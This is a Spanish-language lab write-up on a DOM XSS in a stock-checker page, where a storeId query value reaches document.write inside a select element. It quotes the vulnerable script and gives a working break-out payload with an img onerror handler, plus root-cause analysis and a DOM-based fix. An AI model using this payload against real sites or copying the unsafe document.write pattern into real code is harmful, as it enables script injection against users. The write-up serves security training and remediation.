DOM XSS in document.write sink using source location.search inside a select element
Explotación de un sink document.write dentro de un elemento select: break out del tag <select> con el parámetro storeId para inyectar un img onerror.
Target Overview & Vulnerability Summary
El laboratorio presenta un DOM XSS en la funcionalidad de stock checker. El JavaScript usa document.write con datos provenientes de location.search (parámetro storeId), y la salida queda encerrada dentro de un elemento <select>. El exploit consiste en cerrar el tag </select> y anexar un handler de error de imagen para ejecutar alert(1).
| Campo | Valor |
|---|---|
| Severidad | Media-Alta (ejecución de JavaScript en el contexto de la víctima) |
| Endpoint vulnerable | /product (parámetro storeId) |
| Root cause | Sink document.write con datos no sanitizados de location.search concatenados en HTML |
Technical Breakdown & Exploitation Flow
1. El sink
<form id="stockCheckForm" action="/product/stock" method="POST">
<input required type="hidden" name="productId" value="6">
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
<button type="submit" class="button">Check stock</button>
</form>
storeId se extrae del querystring (source location.search) y se concatena sin sanitización dentro de document.write (sink HTML). El valor se inserta como contenido de un <option> — un contexto de texto HTML dentro de un <select>.
2. Comportamiento normal
Solicitando /product?productId=6&storeId=13, el parámetro se refleja como nueva opción del dropdown:
<option selected="">13</option>
DOM resultante:
<script>...</script><select name="storeId"><option selected="">13</option><option>London</option><option>Paris</option><option>Milan</option></select>
3. Payload de break out
Se cierra el <option> y el <select> abiertos y se inserta un <img> con onerror:
product?productId=1&storeId="></select><img src=1 onerror=alert(1)>
La concatenación dentro del document.write produce:
</script><select name="storeId"><option selected="">"></option></select><img src="1" onerror="alert(1)"><option>London</option><option>Paris</option><option>Milan</option>
El tag </select> escrito por el payload cierra el elemento, y el <img src=1 onerror=alert(1)> queda como nodo hermano. Como src=1 no carga, el evento onerror dispara alert(1).
Versión URL-encoded del parámetro:
/product?productId=1&storeId=%22%3E%3C/select%3E%3Cimg%20src=1%20onerror=alert(1)%3E
Root Cause Analysis
El defecto es doble:
- Sink inseguro:
document.writeinterpreta la cadena como HTML. Concatenar datos delocation.search(controlados por el usuario) en una plantilla de markup convierte el input en estructura del DOM. - Contexto equivocado: la defensa esperada era que el dato quedara como texto de un
<option>, pero al estar elstoreIdsin codificación, el usuario puede cerrar tags padre.document.writereescribe el documento en medio del parseo, permitiendo inyectar nodos arbitrarios.
El patrón de "escribir HTML a partir de parámetros de URL" es inherentemente vulnerable: el servidor nunca debería delegar la construcción de markup autenticado a JavaScript que consume location.search.
Secure Remediation
- Evitar
document.writepara salida de datos. Reemplazarlo por manipulación segura del DOM:textContentpara valores, o creación de nodos condocument.createElement+appendChild. - Para el caso concreto, construir el
<select>con opciones generadas programáticamente:
const store = (new URLSearchParams(window.location.search)).get('storeId');
const select = document.createElement('select');
select.name = 'storeId';
const option = document.createElement('option');
option.textContent = store; // se trata como texto, no como HTML
select.appendChild(option);
// ... resto de opciones del array
- Validar
storeIdcontra la lista blanca de tiendas existentes (London,Paris,Milan) en el servidor, y usarencodeURIComponent/escapado de contexto si el valor debe viajar en HTML.